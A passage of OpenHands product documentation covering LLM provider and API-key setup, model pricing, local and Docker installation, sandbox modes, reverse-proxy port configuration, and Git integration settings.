Cloud](/openhands/usage/cloud/openhands-cloud). -2. Go to the Settings page and navigate to the `API Keys` tab. -3. Copy your `LLM API Key`. - -![OpenHands LLM API Key](/openhands/static/img/openhands-llm-api-key.png) - -## Configuration - -When running OpenHands, you'll need to set the following in the OpenHands UI through the Settings under the `LLM` tab: -- `LLM Provider` to `OpenHands` -- `LLM Model` to the model you will be using (e.g. claude-sonnet-4-20250514 or claude-sonnet-4-5-20250929) -- `API Key` to your OpenHands LLM API key copied from above - -## Using OpenHands LLM Provider in the CLI - -1. [Run OpenHands CLI](/openhands/usage/cli/quick-start). -2. To select OpenHands as the LLM provider: - - If this is your first time running the CLI, choose `openhands` and then select the model that you would like to use. - - If you have previously run the CLI, run the `/settings` command and select to modify the `Basic` settings. Then - choose `openhands` and finally the model. - -![OpenHands Provider in CLI](/openhands/static/img/openhands-provider-cli.png) - - - -When you use OpenHands as an LLM provider in the CLI, we may collect minimal usage metadata and send it to All Hands AI. For details, see our Privacy Policy: https://openhands.dev/privacy - - -## Using OpenHands LLM Provider with the SDK - -You can use your OpenHands LLM API key with the [OpenHands SDK](https://docs.openhands.dev/sdk) to build custom agents and automation pipelines. - - - -### Configuration - -The SDK automatically configures the correct API endpoint when you use the `openhands/` model prefix. Simply set two environment variables: - -```bash -export LLM_API_KEY="your-openhands-api-key" -export LLM_MODEL="openhands/claude-sonnet-4-20250514" -``` - - - **The SDK uses the OpenHands LLM Key not the OpenHands Cloud API Keys** : If you see the following error ensure you are using the [OpenHands LLM Key](https://app.all-hands.dev/settings/api-keys). - - ```bash - Unable to find token in cache or `LiteLLM_VerificationTokenTable` - ``` - -OpenHands Cloud API Keys work with the [Cloud API](https://docs.openhands.dev/openhands/usage/cloud/cloud-api), while OpenHands LLM API Keys work with your chosen LLM via the OpenHands provider. - - -### Example - -```python -from openhands.sdk import LLM - -# The openhands/ prefix auto-configures the base URL -llm = LLM.load_from_env() - -# Or configure directly -llm = LLM( - model="openhands/claude-sonnet-4-20250514", - api_key="your-openhands-api-key", -) -``` - -The `openhands/` prefix tells the SDK to automatically route requests to the OpenHands LLM proxy—no need to manually set a base URL. - -### Available Models - -When using the SDK, prefix any model from the pricing table below with `openhands/`: -- `openhands/claude-sonnet-4-20250514` -- `openhands/claude-sonnet-4-5-20250929` -- `openhands/claude-opus-4-20250514` -- `openhands/gpt-5-2025-08-07` -- etc. - - -If your network has firewall restrictions, ensure the `all-hands.dev` domain is allowed. The SDK connects to `llm-proxy.app.all-hands.dev`. - - -## Pricing - -Pricing follows official API provider rates. Below are the current pricing details for OpenHands models: - - -| Model | Input Cost (per 1M tokens) | Cached Input Cost (per 1M tokens) | Output Cost (per 1M tokens) | Max Input Tokens | Max Output Tokens | -|-------|----------------------------|-----------------------------------|------------------------------|------------------|-------------------| -| claude-sonnet-4-5-20250929 | $3.00 | $0.30 | $15.00 | 200,000 | 64,000 | -| claude-sonnet-4-20250514 | $3.00 | $0.30 | $15.00 | 1,000,000 | 64,000 | -| claude-opus-4-20250514 | $15.00 | $1.50 | $75.00 | 200,000 | 32,000 | -| claude-opus-4-1-20250805 | $15.00 | $1.50 | $75.00 | 200,000 | 32,000 | -| claude-haiku-4-5-20251001 | $1.00 | $0.10 | $5.00 | 200,000 | 64,000 | -| gpt-5-codex | $1.25 | $0.125 | $10.00 | 272,000 | 128,000 | -| gpt-5-2025-08-07 | $1.25 | $0.125 | $10.00 | 272,000 | 128,000 | -| gpt-5-mini-2025-08-07 | $0.25 | $0.025 | $2.00 | 272,000 | 128,000 | -| devstral-medium-2507 | $0.40 | N/A | $2.00 | 128,000 | 128,000 | -| devstral-small-2507 | $0.10 | N/A | $0.30 | 128,000 | 128,000 | -| o3 | $2.00 | $0.50 | $8.00 | 200,000 | 100,000 | -| o4-mini | $1.10 | $0.275 | $4.40 | 200,000 | 100,000 | -| gemini-3-pro-preview | $2.00 | $0.20 | $12.00 | 1,048,576 | 65,535 | -| kimi-k2-0711-preview | $0.60 | $0.15 | $2.50 | 131,072 | 131,072 | -| qwen3-coder-480b | $0.40 | N/A | $1.60 | N/A | N/A | - -**Note:** Prices listed reflect provider rates with no markup, sourced via LiteLLM’s model price database and provider pricing pages. Cached input tokens are charged at a reduced rate when the same content is reused across requests. Models that don't support prompt caching show "N/A" for cached input cost. - -### Use OpenRouter with OpenHands -Source: https://docs.openhands.dev/openhands/usage/llms/openrouter.md - -Use OpenRouter when you have an OpenRouter API key and want to access a model from its [model catalog](https://openrouter.ai/models). - -## Configure Agent Canvas - -1. Open `Settings > LLM`. -2. In the `Basic` tab, select `OpenRouter` as the provider. -3. Select a model, enter your OpenRouter API key, and save the profile. -4. Start a new conversation and send a short message to verify the model responds. - -If the model is not in the selector, use the `Advanced` tab and enter its model ID with the `openrouter/` prefix. For example, OpenRouter model ID `anthropic/claude-3.5-sonnet` becomes: - -```text -openrouter/anthropic/claude-3.5-sonnet -``` - -Copy the current model ID from the [OpenRouter model catalog](https://openrouter.ai/models). Model availability and IDs can change, so do not rely on a previously saved identifier without checking it. - -## Fix Common Problems - -| Problem | Check | Next step | -|---|---|---| -| Model is not found | The exact OpenRouter model ID | Copy the ID from the model catalog and add the `openrouter/` prefix in `Advanced`. | -| Authentication fails | The API key | Create or copy an active OpenRouter API key, then save the profile again. | -| The model is unavailable | The selected model in the catalog | Choose an available model or check your OpenRouter account and model access. | -| The model does not complete agent tasks reliably | Model context and tool-use support | Choose a more capable model that supports the features required for your task. | - -For the broader configuration decision and local/proxy recovery paths, see [Configure a Model](/openhands/usage/agent-canvas/model-configuration). For LiteLLM's provider behavior, see [LiteLLM's OpenRouter documentation](https://docs.litellm.ai/docs/providers/openrouter). - -### Configure -Source: https://docs.openhands.dev/openhands/usage/run-openhands/gui-mode.md - -## Prerequisites - -- [OpenHands is running](/openhands/usage/run-openhands/local-setup) - -## Launching the GUI Server - -### Using the CLI Command - -You can launch the OpenHands GUI server directly from the command line using the `serve` command: - - -**Prerequisites**: You need to have the [OpenHands CLI installed](/openhands/usage/cli/installation) first, OR have `uv` -installed and run `uv tool install openhands --python 3.12` and `openhands serve`. Otherwise, you'll need to use Docker -directly (see the [Docker section](#using-docker-directly) below). - - -```bash -openhands serve -``` - -This command will: -- Check that Docker is installed and running -- Pull the required Docker images -- Launch the OpenHands GUI server at http://localhost:3000 -- Use the same configuration directory (`~/.openhands`) as the CLI mode - -#### Mounting Your Current Directory - -To mount your current working directory into the GUI server container, use the `--mount-cwd` flag: - -```bash -openhands serve --mount-cwd -``` - -This is useful when you want to work on files in your current directory through the GUI. The directory will be mounted at `/workspace` inside the container. - -#### Using GPU Support - -If you have NVIDIA GPUs and want to make them available to the OpenHands container, use the `--gpu` flag: - -```bash -openhands serve --gpu -``` - -This will enable GPU support via nvidia-docker, mounting all available GPUs into the container. You can combine this with other flags: - -```bash -openhands serve --gpu --mount-cwd -``` - -**Prerequisites for GPU support:** -- NVIDIA GPU drivers must be installed on your host system -- [NVIDIA Container Toolkit (nvidia-docker2)](https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/install-guide.html) must be installed and configured - -#### Requirements - -Before using the `openhands serve` command, ensure that: -- Docker is installed and running on your system -- You have internet access to pull the required Docker images -- Port 3000 is available on your system - -The CLI will automatically check these requirements and provide helpful error messages if anything is missing. - -### Using Docker Directly - -Alternatively, you can run the GUI server using Docker directly. See the [local setup guide](/openhands/usage/run-openhands/local-setup) for detailed Docker instructions. - -## Overview - -### Initial Setup - -1. Upon first launch, you'll see a settings popup. -2. Select an `LLM Provider` and `LLM Model` from the dropdown menus. If the required model does not exist in the list, - select `see advanced settings`. Then toggle `Advanced` options and enter it with the correct prefix in the - `Custom Model` text box. -3. Enter the corresponding `API Key` for your chosen provider. -4. Click `Save Changes` to apply the settings. - -### Settings - -You can use the Settings page at any time to: - -- [Setup the LLM provider and model for OpenHands](/openhands/usage/settings/llm-settings). -- [Setup the search engine](/openhands/usage/advanced/search-engine-setup). -- [Configure MCP servers](/openhands/usage/settings/mcp-settings). -- [Connect to GitHub](/openhands/usage/settings/integrations-settings#github-setup), - [connect to GitLab](/openhands/usage/settings/integrations-settings#gitlab-setup) - and [connect to Bitbucket](/openhands/usage/settings/integrations-settings#bitbucket-setup). -- Set application settings like your preferred language, notifications and other preferences. -- [Manage custom secrets](/openhands/usage/settings/secrets-settings). - -### Key Features - -For an overview of the key features available inside a conversation, please refer to the -[Key Features](/openhands/usage/key-features) section of the documentation. - -## Other Ways to Run Openhands -- [Run OpenHands in a scriptable headless mode.](/openhands/usage/cli/headless) -- [Run OpenHands with a friendly CLI.](/openhands/usage/cli/terminal) - -### Setup -Source: https://docs.openhands.dev/openhands/usage/run-openhands/local-setup.md - -## Recommended Methods for Running OpenHands on Your Local System - -### System Requirements - -- MacOS with [Docker Desktop support](https://docs.docker.com/desktop/setup/install/mac-install/#system-requirements) -- Linux -- Windows with [WSL](https://learn.microsoft.com/en-us/windows/wsl/install) and [Docker Desktop support](https://docs.docker.com/desktop/setup/install/windows-install/#system-requirements) - -A system with a modern processor and a minimum of **4GB RAM** is recommended to run OpenHands. - -### Prerequisites - - - - - - **Docker Desktop** - - 1. [Install Docker Desktop on Mac](https://docs.docker.com/desktop/setup/install/mac-install). - 2. Open Docker Desktop, go to `Settings > Advanced` and ensure `Allow the default Docker socket to be used` is enabled. - - - - - - Tested with Ubuntu 22.04. - - - **Docker Desktop** - - 1. [Install Docker Desktop on Linux](https://docs.docker.com/desktop/setup/install/linux/). - - - - - - - Looking for a video guide? Check out this [step-by-step Windows setup tutorial](https://youtu.be/Kp40Qqz4ZPw). - - **WSL** - - 1. [Install WSL](https://learn.microsoft.com/en-us/windows/wsl/install). - 2. Run `wsl --version` in PowerShell and confirm `Default Version: 2`. - - **Ubuntu (Linux Distribution)** - - 1. Install Ubuntu: `wsl --install -d Ubuntu` in PowerShell as Administrator. - 2. Restart computer when prompted. - 3. Open Ubuntu from Start menu to complete setup. - 4. Verify installation: `wsl --list` should show Ubuntu. - - **Docker Desktop** - - 1. [Install Docker Desktop on Windows](https://docs.docker.com/desktop/setup/install/windows-install). - 2. Open Docker Desktop, go to `Settings` and confirm the following: - - General: `Use the WSL 2 based engine` is enabled. - - Resources > WSL Integration: `Enable integration with my default WSL distro` is enabled. - - - The docker command below to start the app must be run inside the WSL terminal. Use `wsl -d Ubuntu` in PowerShell or search "Ubuntu" in the Start menu to access the Ubuntu terminal. - - - - - - -### Start the App - -#### Option 1: Using the CLI Launcher with uv (Recommended) - -We recommend using [uv](https://docs.astral.sh/uv/) for the best OpenHands experience. uv provides better isolation from your current project's virtual environment and is required for OpenHands' default MCP servers (like the [fetch MCP server](https://github.com/modelcontextprotocol/servers/tree/main/src/fetch)). - -**Install uv** (if you haven't already): - -See the [uv installation guide](https://docs.astral.sh/uv/getting-started/installation/) for the latest installation instructions for your platform. - -**Install OpenHands**: -```bash -uv tool install openhands --python 3.12 -``` - -**Launch OpenHands**: -```bash -# Launch the GUI server -openhands serve - -# Or with GPU support (requires nvidia-docker) -openhands serve --gpu - -# Or with current directory mounted -openhands serve --mount-cwd -``` - -This will automatically handle Docker requirements checking, image pulling, and launching the GUI server. The `--gpu` flag enables GPU support via nvidia-docker, and `--mount-cwd` mounts your current directory into the container. - -**Upgrade OpenHands**: -```bash -uv tool upgrade openhands --python 3.12 -``` - - - -If you prefer to use pip and have Python 3.12+ installed: - -```bash -# Install OpenHands -pip install openhands - -# Launch the GUI server -openhands serve -``` - -Note that you'll still need `uv` installed for the default MCP servers to work properly. - - - -#### Option 2: Using Docker Directly - - - -```bash -docker run -it --rm --pull=always \ - -e AGENT_SERVER_IMAGE_REPOSITORY=ghcr.io/openhands/agent-server \ - -e AGENT_SERVER_IMAGE_TAG=1.26.0-python \ - -e LOG_ALL_EVENTS=true \ - -v /var/run/docker.sock:/var/run/docker.sock \ - -v ~/.openhands:/.openhands \ - -p 3000:3000 \ - --add-host host.docker.internal:host-gateway \ - --name openhands-app \ - docker.openhands.dev/openhands/openhands:1.8 -``` - - - - -You'll find OpenHands running at http://localhost:3000! - -### Setup - -After launching OpenHands, you **must** select an `LLM Provider` and `LLM Model` and enter a corresponding `API Key`. -This can be done during the initial settings popup or by selecting the `Settings` -button (gear icon) in the UI. - -If the required model does not exist in the list, in `Settings` under the `LLM` tab, you can toggle `Advanced` options -and manually enter it with the correct prefix in the `Custom Model` text box. -The `Advanced` options also allow you to specify a `Base URL` if required. - -#### Getting an API Key - -OpenHands requires an API key to access most language models. Here's how to get an API key from the recommended providers: - - - - - -1. [Log in to OpenHands Cloud](https://app.all-hands.dev). -2. Go to the Settings page and navigate to the `API Keys` tab. -3. Copy your `LLM API Key`. - -OpenHands provides access to state-of-the-art agentic coding models with competitive pricing. [Learn more about OpenHands LLM provider](/openhands/usage/llms/openhands-llms). - - - - - -1. [Create an Anthropic account](https://console.anthropic.com/). -2. [Generate an API key](https://console.anthropic.com/settings/keys). -3. [Set up billing](https://console.anthropic.com/settings/billing). - - - - - -1. [Create an OpenAI account](https://platform.openai.com/). -2. [Generate an API key](https://platform.openai.com/api-keys). -3. [Set up billing](https://platform.openai.com/account/billing/overview). - - - - - -1. Create a Google account if you don't already have one. -2. [Generate an API key](https://aistudio.google.com/apikey). -3. [Set up billing](https://aistudio.google.com/usage?tab=billing). - - - - - -If your local LLM server isn’t behind an authentication proxy, you can enter any value as the API key (e.g. `local-key`, `test123`) — it won’t be used. - - - - - -Consider setting usage limits to control costs. - -#### Using a Local LLM - - -Effective use of local models for agent tasks requires capable hardware, along with models specifically tuned for instruction-following and agent-style behavior. - - -To run OpenHands with a locally hosted language model instead of a cloud provider, see the [Local LLMs guide](/openhands/usage/llms/local-llms) for setup instructions. - -#### Setting Up Search Engine - -OpenHands can be configured to use a search engine to allow the agent to search the web for information when needed. - -To enable search functionality in OpenHands: - -1. Get a Tavily API key from [tavily.com](https://tavily.com/). -2. Enter the Tavily API key in the Settings page under `LLM` tab > `Search API Key (Tavily)` - -For more details, see the [Search Engine Setup](/openhands/usage/advanced/search-engine-setup) guide. - -### Versions - -The [docker command above](/openhands/usage/run-openhands/local-setup#start-the-app) pulls the most recent stable release of OpenHands. You have other options as well: -- For a specific release, replace `$VERSION` in `openhands:$VERSION` and `runtime:$VERSION`, with the version number. -For example, `0.9` will automatically point to the latest `0.9.x` release, and `0` will point to the latest `0.x.x` release. -- For the most up-to-date development version, replace `$VERSION` in `openhands:$VERSION` and `runtime:$VERSION`, with `main`. -This version is unstable and is recommended for testing or development purposes only. - -## Next Steps - -- [Mount your local code into the sandbox](/openhands/usage/sandboxes/docker#mounting-your-code-into-the-sandbox) to use OpenHands with your repositories -- [Run OpenHands in a scriptable headless mode.](/openhands/usage/cli/headless) -- [Run OpenHands with a friendly CLI.](/openhands/usage/cli/quick-start) - -### Docker Sandbox -Source: https://docs.openhands.dev/openhands/usage/sandboxes/docker.md - -The **Docker sandbox** runs the agent server inside a Docker container. This is -the default and recommended option for most users. - - - In some self-hosted deployments, the sandbox provider is controlled via the - legacy RUNTIME environment variable. Docker is the default. - - - -## Why Docker? - -- Isolation: reduces risk when the agent runs commands. -- Reproducibility: consistent environment across machines. - -## Mounting your code into the sandbox - -If you want OpenHands to work directly on a local repository, mount it into the -sandbox. - -### Recommended: CLI launcher - -If you start OpenHands via: - -```bash -openhands serve --mount-cwd -``` - -your current directory will be mounted into the sandbox workspace. - -### Using SANDBOX_VOLUMES - -You can also configure mounts via the SANDBOX_VOLUMES environment -variable (format: host_path:container_path[:mode]): - -```bash -export SANDBOX_VOLUMES=$PWD:/workspace:rw -``` - - - Anything mounted read-write into /workspace can be modified by the - agent. - - -## Self-hosting Behind a Reverse Proxy - -When you self-host OpenHands behind a reverse proxy (nginx, Traefik, etc.), each -Docker sandbox exposes its agent-server (and VS Code / worker) ports on a -**randomly assigned host port**. The frontend reaches the sandbox by plugging -that random port into the `container_url_pattern`, which defaults to -`http://localhost:{port}`. Two things break for a typical reverse-proxy setup: - -1. The hostname is `localhost`, not your public domain. -2. The port is random, so you cannot add a static proxy route for it. - - - OH_WEB_URL does **not** control these sandbox URLs. On the - OpenHands host it only adds the origin to the sandbox's CORS allow-list — it - is not forwarded into the sandbox container's environment, so it has no - effect on the host/port the browser uses to reach a sandbox. - - -### Pin sandbox ports with host networking - -Set `AGENT_SERVER_USE_HOST_NETWORK=true` to run agent-server containers in -Docker host-network mode. Instead of random host ports, each container's ports -are reachable directly on fixed host ports: - -| Container port | Service | -|-----------------|---------| -| `8000` | Agent server | -| `8001` | VS Code server | -| `8011` | Worker 1 | -| `8012` | Worker 2 | - -```bash -export AGENT_SERVER_USE_HOST_NETWORK=true -``` - -This lets you add a single static reverse-proxy route for each fixed port. - - - Host-network mode binds every sandbox to the **same** fixed host ports. Only - one sandbox can run at a time; concurrent conversations will collide on those - ports. OpenHands logs a warning if host networking is enabled with - max_num_sandboxes > 1. - - -### Fix the sandbox URL hostname - -To point sandbox URLs at your public domain (keeping the per-sandbox port), -set the `container_url_pattern` to your hostname with the `{port}` placeholder: - -```bash -# OH_-prefixed form (recommended for V1): -export OH_SANDBOX_CONTAINER_URL_PATTERN="https://my-domain:{port}" -# Legacy form (also accepted): -export SANDBOX_CONTAINER_URL_PATTERN="https://my-domain:{port}" -``` - -This replaces `localhost` with your domain, but the port is still random per -sandbox. Traefik cannot natively route an arbitrary dynamic port; a regex-based -proxy (e.g. nginx) is needed to forward each port to the right sandbox. - -### Summary - -| Goal | Variable | Effect | -|------|----------|--------| -| Fixed, static ports (one sandbox at a time) | `AGENT_SERVER_USE_HOST_NETWORK=true` | Containers use host networking; ports `8000`/`8001`/`8011`/`8012` are exposed directly on the host. | -| Public hostname for sandbox URLs | `OH_SANDBOX_CONTAINER_URL_PATTERN` / `SANDBOX_CONTAINER_URL_PATTERN` | Replaces `localhost` with your domain in the URLs the browser uses. Port stays random per sandbox. | - - -## Custom sandbox images - -To customize the container image (extra tools, system deps, etc.), see -[Custom Sandbox Guide](/openhands/usage/advanced/custom-sandbox-guide). - -### Overview -Source: https://docs.openhands.dev/openhands/usage/sandboxes/overview.md - -A **sandbox** is the environment where OpenHands runs commands, edits files, and -starts servers while working on your task. - -In **OpenHands V1**, we use the term **sandbox** (not “runtime”) for this concept. - -## Sandbox providers - -OpenHands supports multiple sandbox “providers”, with different tradeoffs: - -- **Docker sandbox (recommended)** - - Runs the agent server inside a Docker container. - - Good isolation from your host machine. - -- **Process sandbox (unsafe, but fast)** - - Runs the agent server as a regular process on your machine. - - No container isolation. - -- **Remote sandbox** - - Runs the agent server in a remote environment. - - Used by managed deployments and some hosted setups. - -## Selecting a provider (current behavior) - -In some deployments, the provider selection is still controlled via the legacy -RUNTIME environment variable: - -- RUNTIME=docker (default) -- RUNTIME=process (aka legacy RUNTIME=local) -- RUNTIME=remote - - - The user-facing terminology in V1 is sandbox, but the configuration knob - may still be called RUNTIME while the migration is in progress. - - -## Terminology note (V0 vs V1) - -Older documentation refers to these environments as **runtimes**. -Those legacy docs are now in the Legacy (V0) section of the Web tab. - -### Process Sandbox -Source: https://docs.openhands.dev/openhands/usage/sandboxes/process.md - -The **Process sandbox** runs the agent server directly on your machine as a -regular process. - - - This mode provides **no sandbox isolation**. - - The agent can read/write files your user account can access and execute - commands on your host system. - - Only use this in controlled environments. - - -## When to use it - -- Local development when Docker is unavailable -- Some CI environments -- Debugging issues that only reproduce outside containers - -## Choosing process mode - -In some deployments, this is selected via the legacy RUNTIME -environment variable: - -```bash -export RUNTIME=process -# (legacy alias) -# export RUNTIME=local -``` - -If you are unsure, prefer the [Docker Sandbox](/openhands/usage/sandboxes/docker). - -### Remote Sandbox -Source: https://docs.openhands.dev/openhands/usage/sandboxes/remote.md - -A **remote sandbox** runs the agent server in a remote execution environment -instead of on your local machine. - -This is typically used by managed deployments (e.g., OpenHands Cloud) and -advanced self-hosted setups. - -## Selecting remote mode - -In some self-hosted deployments, remote sandboxes are selected via the legacy -RUNTIME environment variable: - -```bash -export RUNTIME=remote -``` - -Remote sandboxes require additional configuration (API URL + API key). The exact -variable names depend on your deployment, but you may see legacy names like: - -- SANDBOX_REMOTE_RUNTIME_API_URL -- SANDBOX_API_KEY - -## Notes - -- Remote sandboxes may expose additional service URLs (e.g., VS Code, app ports) - depending on the provider. -- Configuration and credentials vary by deployment. - -If you are using OpenHands Cloud, see the [Cloud UI guide](/openhands/usage/cloud/cloud-ui). - -### API Keys Settings -Source: https://docs.openhands.dev/openhands/usage/settings/api-keys-settings.md - - - These settings are only available in [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). - - -## Overview - -Use the API Keys settings page to manage your OpenHands LLM key and create API keys for programmatic access to -OpenHands Cloud - -## OpenHands LLM Key - - -You must purchase at least $10 in OpenHands Cloud credits before generating an OpenHands LLM Key. To purchase credits, go to [Settings > Billing](https://app.all-hands.dev/settings/billing) in OpenHands Cloud. - - -You can use the API key under `OpenHands LLM Key` with [the OpenHands CLI](/openhands/usage/cli/quick-start), -[running OpenHands on your own](/openhands/usage/run-openhands/local-setup), or even other AI coding agents. This will -use credits from your OpenHands Cloud account. If you need to refresh it at anytime, click the `Refresh API Key` button. - -## OpenHands API Key - -These keys can be used to programmatically interact with OpenHands Cloud. See the guide for using the -[OpenHands Cloud API](/openhands/usage/cloud/cloud-api). - -### Create API Key - -1. Navigate to the `Settings > API Keys` page. -2. Click `Create API Key`. -3. Give your API key a name and click `Create`. - -### Delete API Key - -1. On the `Settings > API Keys` page, click the `Delete` button next to the API key you'd like to remove. -2. Click `Delete` to confirm removal. - -### Application Settings -Source: https://docs.openhands.dev/openhands/usage/settings/application-settings.md - -## Overview - -The Application settings allows you to customize various application-level behaviors in OpenHands, including -language preferences, notification settings, custom Git author configuration and more. - -## Setting Maximum Budget Per Conversation - -To limit spending, go to `Settings > Application` and set a maximum budget per conversation (in USD) -in the `Maximum Budget Per Conversation` field. OpenHands will stop the conversation once the budget is reached, but -you can choose to continue the conversation with a prompt. - -## Git Author Settings - -OpenHands provides the ability to customize the Git author information used when making commits and creating -pull requests on your behalf. - -By default, OpenHands uses the following Git author information for all commits and pull requests: - -- **Username**: `openhands` -- **Email**: `openhands@all-hands.dev` - -To override the defaults: - -1. Navigate to the `Settings > Application` page. -2. Under the `Git Settings` section, enter your preferred `Git Username` and `Git Email`. -3. Click `Save Changes` - - - When you configure a custom Git author, OpenHands will use your specified username and email as the primary author - for commits and pull requests. OpenHands will remain as a co-author. - - -## Getting Started Checklist - -The sidebar shows a **Getting Started** checklist after first-run onboarding. Toggle `Show getting started checklist` in `Settings > Application` to hide or show it. The setting persists across sessions. See [First Time Setup](/openhands/usage/agent-canvas/first-time-setup#getting-started-checklist) for details. - -## Sandbox Grouping Strategy - -The `Sandbox Grouping Strategy` setting controls where OpenHands places new -conversations started with your application settings. - -| Setting | Placement Behavior | -| --- | --- | -| No grouping | Start a new sandbox for each conversation | -| Group by newest | Use the newest available sandbox | -| Least recently used | Use the least recently used available sandbox | -| Fewest conversations | Use the available sandbox with the fewest conversations | -| Add to any | Use the first available sandbox | - -To change the setting: - -1. Navigate to `Settings > Application`. -2. Select a value under `Sandbox Grouping Strategy`. -3. Click `Save Changes`. - -Grouping can reduce sandbox startup time and sandbox count. Conversations in -one sandbox share its filesystem, credentials, compute limits, and failure -domain. The setting does not check whether a sandbox has enough CPU, memory, or -disk for another conversation. - -For API placement and sandbox lifecycle options, see -[Conversations And Sandboxes](/enterprise/conversations-and-sandboxes). - -### Integrations Settings -Source: https://docs.openhands.dev/openhands/usage/settings/integrations-settings.md - -## Overview - -OpenHands offers several integrations, including GitHub, GitLab, Bitbucket, and Slack, with more to come. Some -integrations, like Slack, are only available in OpenHands Cloud. Configuration may also vary depending on whether -you're using [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud) or -[running OpenHands on your own](/openhands/usage/run-openhands/local-setup). - -## OpenHands Cloud Integrations Settings - - - These settings are only available in [OpenHands Cloud](/openhands/usage/cloud/openhands-cloud). - - -### GitHub Settings - -- `Configure GitHub Repositories` - Allows you to -[modify GitHub repository access](/openhands/usage/cloud/github-installation#modifying-repository-access) for OpenHands. - -### Slack Settings - -- `Install OpenHands Slack App` - Install [the OpenHands Slack app](/openhands/usage/cloud/slack-installation) in - your Slack workspace. Make sure your Slack workspace admin/owner has installed the OpenHands Slack app first. - -## Running on Your Own Integrations Settings - - - These settings are only available in [OpenHands Local GUI](/openhands/usage/run-openhands/local-setup). - - -### Version Control Integrations - -#### GitHub Setup - -OpenHands automatically exports a `GITHUB_TOKEN` to the shell environment if provided: - - - - - 1. **Generate a Personal Access Token (PAT)**: - - On GitHub, go to `Settings > Developer Settings > Personal Access Tokens`. - - **Tokens (classic)** - - Required scopes: - - `repo` (Full control of private repositories) - - **Fine-grained tokens** - - All Repositories (You can select specific repositories, but this will impact what returns in repo search) - - Minimal Permissions (Select `Meta Data = Read-only` read for search, `Pull Requests = Read and Write` and `Content = Read and Write` for branch creation) - 2. **Enter token in OpenHands**: - - Navigate to the `Settings > Integrations` page. - - Paste your token in the `GitHub Token` field. - - Click `Save Changes` to apply the changes. - - If you're working with organizational repositories, additional setup may be required: - - 1. **Check organization requirements**: - - Organization admins may enforce specific token policies. - - Some organizations require tokens to be created with SSO enabled. - - Review your organization's [token policy settings](https://docs.github.com/en/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). - 2. **Verify organization access**: - - Go to your token settings on GitHub. - - Look for the organization under `Organization access`. - - If required, click `Enable SSO` next to your organization. - - Complete the SSO authorization process. - - - - - **Token Not Recognized**: - - Check that the token hasn't expired. - - Verify the token has the required scopes. - - Try regenerating the token. - - - **Organization Access Denied**: - - Check if SSO is required but not enabled. - - Verify organization membership. - - Contact organization admin if token policies are blocking access. - - - -#### GitLab Setup - -OpenHands automatically exports a `GITLAB_TOKEN` to the shell environment if provided: - - - - 1. **Generate a Personal Access Token (PAT)**: - - On GitLab, go to `User Settings > Access Tokens`. - - Create a new token with the following scopes: - - `api` (API access) - - `read_user` (Read user information) - - `read_repository` (Read repository) - - `write_repository` (Write repository) - - Set an expiration date or leave it blank for a non-expiring token. - 2. **Enter token in OpenHands**: - - Navigate to the `Settings > Integrations` page. - - Paste your token in the `GitLab Token` field. - - Click `Save Changes` to apply the changes. - - 3. **(Optional): Restrict agent permissions** - - Create another PAT using Step 1 and exclude `api` scope . - - In the `Settings > Secrets` page, create a new secret `GITLAB_TOKEN` and paste your lower scope token. - - OpenHands will use the higher scope token, and the agent will use the lower scope token. - - - - - **Token Not Recognized**: - - Check that the token hasn't expired. - - Verify the token has the required scopes. - - - **Access Denied**: - - Verify project access permissions. - - Check if the token has the necessary scopes. - - For group/organization repositories, ensure you have proper access. - - - -#### BitBucket Setup - - -1. **Generate an App password**: - - On Bitbucket, go to `Account Settings > App Password`. - - Create a new password with the following scopes: - - `account`: `read` - - `repository: write` - - `pull requests: write` - - `issues: write` - - App passwords are non-expiring token. OpenHands will migrate to using API tokens in the future. - 2. **Enter token in OpenHands**: - - Navigate to the `Settings > Integrations` page. - - Paste your token in the `BitBucket Token` field. - - Click `Save Changes` to apply the changes. - - - - - **Token Not Recognized**: - - Check that the token hasn't expired. - - Verify the token has the required scopes. - - - - -### Language Model (LLM) Settings -Source: https://docs.openhands.dev/openhands/usage/settings/llm-settings.md - -## Overview - -The LLM settings allows you to bring your own LLM and API key to use with OpenHands. This can be any model that is -supported by litellm, but it requires a powerful model to work properly. -[See our recommended models here](/openhands/usage/llms/llms#model-recommendations). You can also configure some -additional LLM settings on this page. - -## Basic LLM Settings - -The most popular providers and models are available in the basic settings. Some of the providers have been verified to -work with OpenHands such as the [OpenHands provider](/openhands/usage/llms/openhands-llms), Anthropic, OpenAI and -Mistral AI. - -1. Choose your preferred provider using the `LLM Provider` dropdown. -2. Choose your favorite model using the `LLM Model` dropdown. -3. Set the `API Key` for your chosen provider and model and click `Save Changes`. - -This will set the LLM for all new conversations. If you want to use this new LLM for older conversations, you must first -restart older conversations. - -## Advanced LLM Settings - -Toggling the `Advanced` settings, allows you to set custom models as well as some additional LLM settings. You can use -this when your preferred provider or model does not exist in the basic settings dropdowns. - -1. `Custom Model`: Set your custom model with the provider as the prefix. For information on how to specify the - custom model, follow [the specific provider docs on litellm](https://docs.litellm.ai/docs/providers). We also have - [some guides for popular providers](/openhands/usage/llms/llms#llm-provider-guides). -2. `Base URL`: If your provider has a specific base URL, specify it here. -3. `API Key`: Set the API key for your custom model. -4. Click `Save Changes` - -### Memory Condensation - -The memory condenser manages the language model's context by ensuring only the most important and relevant information -is presented. Keeping the context focused improves latency and reduces token consumption, especially in long-running -conversations. - -- `Enable memory condensation` - Turn on this setting to activate this feature. -- `Memory condenser max history size` - The condenser will summarize the history after this many events. - -## LLM Profiles - -LLM profiles allow you to save multiple LLM configurations and switch between them, even during an active conversation. -This is useful when you want to use different models for different tasks—for example, a faster model for simple tasks -and a more powerful model for complex reasoning. - -### Creating an LLM Profile - -Profiles are automatically created when you save a configuration on the LLM settings page. To create a new profile: - -1. Navigate to `Settings > LLM`. -2. Configure your desired LLM provider, model, and API key. -3. Click `Save Changes`. - -A new profile will be created with your configuration. The most recently saved profile becomes the active profile -for new conversations. - -Alternatively, you can click the `Add LLM Profile` button in the Available Profiles section to create a new profile -directly. - - -When saving a local LLM profile, the configuration is validated against the backend before it is persisted. If validation -fails (for example, an invalid API key or unavailable model), the save is blocked and the error is shown. Older backends -that do not support validation skip this check and save normally. - - -### Managing LLM Profiles - -You can manage your saved profiles in the `Available Profiles` section of the LLM settings page. Each profile shows: - -- **Profile name**: A unique identifier for the configuration -- **Model**: The LLM model associated with the profile -- **Active badge**: Indicates which profile is currently active - -Click the menu icon (three dots) on any profile to access these actions: - 